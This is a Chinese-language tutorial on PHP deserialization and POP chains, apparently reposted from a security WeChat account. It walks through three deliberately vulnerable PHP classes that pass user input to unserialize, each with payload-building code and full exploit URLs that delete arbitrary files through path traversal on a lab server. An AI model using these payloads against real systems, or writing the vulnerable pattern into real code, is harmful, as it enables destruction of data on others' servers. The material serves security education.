反序列化| 我欲修仙,法力无边。

0x00 背景

最近都在写反序列化漏洞的知识,本着循序渐进的过程,本篇研究到了反序列化与POP CHAIN相关的知识。在探索这方面知识的过程中,请教了许多师傅们并获得了相关案例和教科书般的文章,收获很多。今天斗哥就带着萌新们初探反序列化与POP CHAIN的相关知识。

什么是POP CHAIN?这里给出我自己的理解:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

0x01 从基础的反序列化漏洞开始

从一个基础的反序列化漏洞示例回顾下反序列化漏洞利用过程,如下代码使用了__destruct()魔术方法在执行完PHP程序后执行,执行后会删除网站临时文件夹/var/www/html/cache/tmp/下名为$cache_file;的文件。由于unserialize($_GET['data']);参数的值可控;满足了反序列化unserialize()参数的值可控,魔术方法__destruct()参数可控和魔术方法可触发,这3个条件,所以此处存在反序列化漏洞且可以利用路径穿越来删除任意文件。

1.<?php
2.class Example1
3.{
4.public $cache_file;
5.
6.function __construct()
7.{
8.// some PHP code...
9.}
10.
11.function __destruct()
12.{
13.$file = "/var/www/html/cache/tmp/{$this->cache_file}";
14.if (file_exists($file)) @unlink($file);
15.}
16.}
17.$user_data = unserialize($_GET['data']);
18.?>

在站点根目录下创建文件名为thinking1的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking1

使用如下代码构造payload,删除/var/www/html下的thinking1文件。

1.<?php
2.class Example1
3.{
4. public $cache_file='../../thinking1';
5.
6.}
7.$evil = new Example1;
8.echo serialize($evil);
9.?>
output:
O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

提交如下请求:

http://192.168.163.136/test.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

请求结束后/var/www/html下的thinking1文件便被删除了。

root@ubuntu:/var/www/html# ls

cache test.php

0x02 反序列化中跟踪数据流

上面的Example1中任意文件删除漏洞利用的关键代码是直接放在在魔术方法中,接下来稍微修改了下Example1中的代码,并重新命名为Example2。将漏洞代码写在了普通方法Delete()中,然后在__destruct()魔术方法中,设置成在满足了某种条件下会调用了Delete()方法。

同样的unserialize($_GET['data']);参数的值可控,魔术方法__destruct()参数可控,并且跟进$this->Delete($this->cache_file);中的数据传输过程;在Delete()方法中执行了删除临时文件操作,仅是比Example1中多了在本类中跟踪数据传输的过程找到相应函数的代码块再进行分析的步骤,当然实际场景的代码比这个要复杂的多,数据传输可能较复杂。

1.<?php
2.class Example2
3.{
4. public $cache_file;
5. public $condition;
6.
7. function __construct()
8.    {
9.// some PHP code...
10.    }
11.
12. function __destruct()
13.    {   if($this->condition==='balabala')
14.        {
15. $this->Delete($this->cache_file);
16.        }
17.    }
18.
19. function Delete($filename)
20.    {   $file = "/var/www/html/cache/tmp/{$filename}";
21. if (file_exists($file)) @unlink($file);
22.    }
23.
24.}
25.
26.$user_data = unserialize($_GET['data']);
27.?>

在站点根目录下创建文件名为thinking2的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking2

使用如下代码构造payload,删除/var/www/html下的thinking2文件。

1.<?php
2.class Example2
3.{
4. public $cache_file = '../../thinking2';
5. public $condition = 'balabala';
6.
7.}
8.$evil = new Example2();
9.echo serialize($evil);
10.?>
output:
O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}

payload:

http://192.168.163.136/test.php?data=O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}

请求结束后/var/www/html下的thinking2文件便被删除。

0x03 反序列化中简单的 POP 链

本示例代码参考自l3m0n博客中的示例再结合本篇的示例撰写,在Example2中已经说到需要在当前类中跟踪魔术方法中调用的普通函数的数据传输过程;

接下来的Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET['data']);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪__toString魔术方法中的数据传递过程。

跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;

由protected $obj与$this->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。

1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7.    {
8. $this->obj = new Example5;
9.    }
10.
11. function __toString()
12.    {
13. if (isset($this->obj)) return $this->obj->Delete();
14.    }
15.}
16.
17.class Example4
18.{   public $cache_file;
19. function Delete()
20.    {   $file = "/var/www/html/cache/tmp/{$this->cache_file}";
21. if (file_exists($file))
22.        {
23.            @unlink($file);
24.        }
25.
26. return 'I am a evil Delete function';
27.    }
28.}
29.
30.class Example5
31.{
32. function Delete()
33.    {
34. return 'I am a safe Delete function';
35.    }
36.}
37.
38.$user_data = unserialize($_GET['data']);
39.echo $user_data;
40.?>

在站点根目录下创建文件名为thinking3的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking3

使用如下代码构造payload,删除/var/www/html下的thinking3文件。

1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7.    {
8. $this->obj = new Example4;
9.    }
10.
11.}
12.
13.class Example4
14.{   public $cache_file = '../../thinking3';
15.
16.}
17.
18.$evil = new Example3();
19.echo urlencode(serialize($evil));
20.?>
output:
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D

payload:

http://192.168.163.136/test.php?data=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D

为了方便查看,仅将不可见的字符进行url编码,得到如下的payload:

http://192.168.163.136/test.php?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:8:"Example4":1:{s:10:"cache_file";s:15:"../../thinking3";}}

0x04 小小总结

现在回头看开篇的POP介绍:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。这正是分析Example3,Example4,Example5代码的过程。

本篇的反序列化与POP CHAIN内容较浅显,重在帮助大家理清楚反序列化与POP CHAIN的利用过程和方式,实际场景中代码肯定是更为复杂的,跟踪数据的时候也是需要花费精力仔细观察的,反序列化对象注入漏洞分析类的文章可以参考P师傅和l3m0n师傅以及如下文章,最后感谢师傅们和前辈的总结和分析,让后来的人学习到了各种教科书版的操作:),期待和各位师傅们的交流和讨论。

参考链接:

1.离别歌:https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html 2.seebug:https://paper.seebug.org/39/ 3. l3m0n:https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html 4. l3m0n:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html 5. owasp:https://www.owasp.org/index.php/PHP_Object_Injection 6. 360播报:http://bobao.360.cn/learning/detail/4122.html 7. mottoin:http://www.mottoin.com/98140.html

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-11-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏java一日一条

Java异常有多慢?

实际上,真正要讨论的问题并不是,“相对‘那些不会发生错误的代码’来说,‘那些以异常形式上报的错误’会有多慢?”,因为你可能也认同“已接受的回答”。相反,真正的问...

35620
来自专栏微信公众号:Java团长

Java基础07 包

我们已经写了一些Java程序。之前的每个Java程序都被保存为一个文件,比如Test.java。随后,该程序被编译为Test.class。我们最终使用$java...

10520
来自专栏FreeBuf

VLC播放器加载恶意字幕文件导致执行任意代码漏洞分析与POC实现

今年5月23号的时候,听说checkpoint搞了个大新闻:vlc等播放器加载特定字幕可以完全控制用户电脑。当时我就震惊了:还有何种操作。想想看,当你吃着辣条,...

43240
来自专栏C/C++基础

*** glibc detected *** malloc(): memory corruption

在Linux Server上不好模拟出来:不过若是先malloc,再越界memset,再free此内存块,然后malloc新内存块就会出现类似错误。

38920
来自专栏AndroidTv

分享两个提高效率的AndroidStudio小技巧

这次分享两个 Android Studio 的小技巧,能够有效提高效率和减少犯错,尤其是在团队协作开发中。

428130
来自专栏程序员互动联盟

【编程基础第十三讲】代码如何写才最漂亮第二篇

存在问题: 好多小伙伴对编码的格式作用模糊,以为只要完成功能就行,其实这种观点是错误的,一定要重视代码规范,不然你哭的地都找不到。 如何实施: 良好的代码开发习...

26080
来自专栏xingoo, 一个梦想做发明家的程序员

《深入浅出Nodejs》—— 读后总结

这一个月过去了三分之二,加上之前看过这本书三分之一,这才算是看完。 虽然看完一遍,但是这本书内容很深,以后肯定是还要继续翻阅的..... 什么是Node...

20150
来自专栏Java技术栈

面象对象设计6大原则之二:开放封闭原则

开放封闭原则(OCP),The Open Closed Principle 定义 一个软件的实体,包括类、方法、模块、应该对扩展开放,对修改关闭。 也就是说一个...

30460
来自专栏极客慕白的成长之路

利用Python互转Json数据格式

除特别注明外,本站所有文章均为慕白博客原创,转载请注明出处来自https://geekmubai.com/programming/784.html

15340
来自专栏Django Scrapy

爬虫的主函数该怎么写

主函数中是将前边写的所有函数汇总,通过多线程,将爬虫稳步有序的进行。 头文件中的那些是之前写好的做引用 用到了多线程技术,在python中,Pool函数是个...

370110

扫码关注云+社区

领取腾讯云代金券